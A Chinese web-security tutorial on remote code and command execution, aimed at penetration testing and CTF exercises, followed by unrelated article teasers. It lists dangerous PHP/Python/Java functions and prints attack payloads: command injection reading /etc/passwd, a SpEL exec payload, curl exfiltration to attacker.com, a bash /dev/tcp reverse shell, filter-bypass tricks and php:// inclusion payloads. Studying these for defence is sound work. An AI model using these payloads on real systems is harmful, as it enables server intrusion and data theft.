web安全-RCE(代码执行与命令执行) 📅 发布时间:2026/7/3 23:22:16 👁️ 浏览次数: RCE1. 核心概念区分代码执行应用程序将用户输入当作代码如PHP、Python脚本解析执行。攻击者可以注入恶意代码执行任意脚本功能。命令执行应用程序调用操作系统命令如system()、exec()用户输入被拼接到命令中。攻击者可以注入恶意命令直接控制服务器操作系统。2. 漏洞函数与危险函数清单白盒审计关键点PHP代码执行eval()、assert()、preg_replace()/e修饰符已废弃但旧代码仍有、create_function()、array_map()、call_user_func()/call_user_func_array()配合动态函数名、array_filter()、uasort()、unserialize()反序列化可能触发。命令执行system()、exec()、shell_exec()、pcntl_exec()、popen()、proc_open()、passthru()、反引号。Python代码执行eval()、exec()、execfile()Python2、compile()、__import__。命令执行os.system()、os.popen()、subprocess模块call()、Popen()、run()、commands.getoutput()。Java代码执行无直接eval()函数但通过反射、表达式引擎如OGNL、SpEL、MVEL、模板引擎如Velocity、Freemarker、反序列化如Fastjson、Jackson等实现。命令执行Runtime.getRuntime().exec()、ProcessBuilder。3. 攻击面挖掘黑盒功能点渗透测试中重点关注以下功能点代码/脚本在线执行平台如在线PHP运行、Python运行、SQL在线工具等。直接尝试执行系统命令或读取文件。Payload:system(id);、echo file_get_contents(/etc/passwd);️系统管理面板如网络检测ping、traceroute、日志查看、服务启停等。这些功能常调用系统命令可能存在命令注入。参数注入127.0.0.1; cat /etc/passwd、| whoami评论/解析功能某些应用支持富文本或表达式解析如SpEL攻击者可能注入表达式。SpEL Payload:T(java.lang.Runtime).getRuntime().exec(calc)文件上传/包含上传包含恶意代码的文件如PHP一句话配合文件包含漏洞触发。第三方组件/中间件已知RCE漏洞如ThinkPHP RCE、Struts2 OGNL、Log4j2 JNDI注入等。使用漏洞扫描器或指纹识别后直接验证。其他漏洞引发SQL注入写文件、反序列化、XXE等可能最终导致RCE。4. 利用技巧与绕过手法有回显利用直接执行命令并获取输出。system(cat /etc/passwd); echo shell_exec(ls -la);无回显利用写文件将命令结果写入Web目录可访问的文件。system(cat /etc/passwd /var/www/html/1.txt);DNS/HTTP外带利用curl或wget将结果发送到攻击者服务器。system(curl http://attacker.com/?datacat /etc/passwd | base64);反弹Shell直接建立反向连接。bash -i /dev/tcp/attacker_ip/4444 01绕过技巧结合CTF案例空格绕过{cat,/etc/passwd}、cat${IFS}/etc/passwd、cat%09/etc/passwd关键字绕过通配符/???/c?t /???/p?ss??、cat /etc/pass???变量拼接ac;bat;$a$b /etc/passwd编码echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | bash命令分隔符;、|、||、、、\n%0a利用管道符和重定向# 30题示例 cp fla*.ph* 2.txt # 利用通配符和复制绕过过滤 echo shell_exec(tac fla*.ph*);参数逃逸31题利用动态参数注入额外代码。eval($_GET[1]); 1system(tac flag.php);包含与伪协议32~39题利用文件包含配合data://、php://input等伪协议执行代码。include$_GET[a]?adata://text/plain,?system(tac flag.php);? include$_GET[a]?aphp://filter/readconvert.base64-encode/resourceflag.php # 37~39 通过包含读取flag php://input post: ?php system(tac flag.php);?5. 漏洞引发链间接RCERCE常作为漏洞利用的最终目标由其他漏洞触发文件包含包含本地或远程文件若文件内容可控则执行恶意代码。文件上传上传WebShell直接获取代码执行权限。反序列化反序列化过程中自动调用魔术方法触发恶意代码。SQL注入若数据库支持写文件into outfile可写入WebShell。XXE若支持expect://协议或能结合SSRF攻击内部RCE服务。SSTI模板注入可直接执行代码。6. 实战注意事项语言环境识别根据返回头、文件后缀、参数特征判断后端语言选择合适的Payload。命令执行的跨平台性Windows与Linux命令差异大需分别测试。WAF绕过结合编码、混淆、特殊字符拆分进行测试。权限提升获得初始RCE后进一步进行内网渗透、提权。7. 防御与修复建议尽量避免使用动态执行函数如eval()、system()。严格过滤用户输入使用白名单验证。禁用危险函数disable_functions、限制执行权限。使用安全的API替代命令执行如PHP的proc_open需严格控制参数。保持组件和框架更新及时修补已知漏洞。总结RCE是渗透测试中的高危漏洞往往直接获取服务器权限。挖掘时需拓宽思路不仅关注显眼的在线执行功能还要注意系统命令调用点、表达式解析、组件漏洞等。利用时要灵活运用绕过技巧结合有回显/无回显方法获取数据。牢记各类危险函数和利用手法才能在实战中迅速抓住机会。如果你有特定场景或语言下的RCE问题欢迎进一步探讨
Python原生实现SM3国密哈希算法:从原理到工程实践 1. 项目概述:为什么选择用Python原生实现SM3?在金融、政务、物联网这些对数据安全有严苛要求的领域,数据校验是确保信息“原汁原味”的第一道防线。你可能听说过MD5、SHA-256这些国际通用的哈希算法,但在国内,尤其是在… 2026/7/3 23:20:16
智能散热管理系统在汽车电子中的精密控制与优化 1. 为什么需要智能散热管理系统在汽车电子和工业控制领域,温度管理一直是系统可靠性的关键瓶颈。我曾参与过一个车载信息娱乐系统的开发项目,在夏季高温测试时,系统频繁出现性能降频甚至意外重启。通过热成像分析发现,传统温控方案… 2026/7/3 23:20:16
4步极速AI图像编辑:Qwen-Rapid-AIO完全指南与新手教程 4步极速AI图像编辑:Qwen-Rapid-AIO完全指南与新手教程 【免费下载链接】Qwen-Image-Edit-Rapid-AIO 项目地址: https://ai.gitcode.com/hf_mirrors/Phr00t/Qwen-Image-Edit-Rapid-AIO 你是否曾经被复杂的AI图像编辑工具吓退?面对几十个参数调整和… 2026/7/3 23:20:16
STM32F334R8驱动WS2812B LED灯带的完整指南 1. 项目概述:WS2812与STM32F334R8的完美组合 WS2812智能LED灯珠与STM32F334R8微控制器的组合,为嵌入式灯光控制领域带来了全新的可能性。WS2812作为一款集成了控制电路和RGB三色LED的智能灯珠,仅需单线通信即可实现全彩控制,而STM… 2026/7/4 0:46:46
Bifrost:三星固件下载的终极跨平台解决方案 Bifrost:三星固件下载的终极跨平台解决方案 【免费下载链接】Bifrost Cross-platform tool for downloading Samsung mobile device firmware. 项目地址: https://gitcode.com/gh_mirrors/sa/Bifrost 在三星手机用户和开发者的世界里,寻找官方固件… 2026/7/4 0:42:44
终极指南:如何用OBS插件一键同步直播到8个平台 终极指南:如何用OBS插件一键同步直播到8个平台 【免费下载链接】obs-multi-rtmp OBS複数サイト同時配信プラグイン 项目地址: https://gitcode.com/gh_mirrors/ob/obs-multi-rtmp 你是否曾为每个直播平台单独配置OBS而感到疲惫?是否希望扩大观众覆… 2026/7/4 0:38:43
浅谈异常与恋爱 在java的异常结构中有一个顶级父类叫做Throwable,这个父类具有两个子类,分别是: Error Exception 为了便于初学者能更好的理解异常机制,我姑且先列举一些不恰当的例子: 可以这样理解Error 1.你某天很舒服的坐在沙发… 2026/7/4 0:36:42
VLC Media Player 2026最新下载安装使用全教程(全格式播放+网络流+投屏+踩坑总结) 开篇:我为什么还在推荐VLC 用了十年VLC,中间也试过PotPlayer、MPC-BE、IINA。每次换到别的播放器,过不了多久又换回来。不是因为VLC最强,而是因为它从未在我需要的时候掉过链子。 这篇文章不会罗列所有功能——VLC的菜单项可能有… 2026/7/4 0:34:42
从零实现AES-128加密算法:深入理解对称加密核心原理与Python实战 1. 从零到一:手搓AES加密算法的实战心路如果你是一名开发者,或者对信息安全感兴趣,那么“AES加密”这个词你肯定不陌生。它几乎是现代互联网数据安全的基石,从你手机里的聊天记录加密,到网上银行的交易保护,… 2026/7/4 0:28:39
STM32F745VG与MC6470 IMU的高性能姿态控制系统设计 1. MC6470与STM32F745VG的黄金组合解析在工业自动化和机器人控制领域,传感器与微控制器的协同工作能力直接决定了系统的响应速度和定位精度。MC6470作为一款6自由度惯性测量单元(6DOF IMU),与STM32F745VG这款基于ARM Cortex-M7内核的高性能微控制器组合&… 2026/7/4 0:00:28
Playwright自动化测试实战:从零搭建现代Web测试框架 1. 项目概述:为什么是 Playwright?如果你正在为现代 Web 应用的自动化测试头疼,尤其是面对那些充斥着动态加载、复杂交互的单页应用(SPA),那么 Playwright 的出现,很可能就是你的解药。我接触过… 2026/7/4 0:00:28
终极指南:如何将JSXBIN二进制文件转换为可读JSX源代码 终极指南:如何将JSXBIN二进制文件转换为可读JSX源代码 【免费下载链接】jsxbin-to-jsx-converter JSXBin to JSX Converter written in C# 项目地址: https://gitcode.com/gh_mirrors/js/jsxbin-to-jsx-converter 你是否曾经面对过Adobe产品的JSXBIN文件感到… 2026/7/4 0:02:28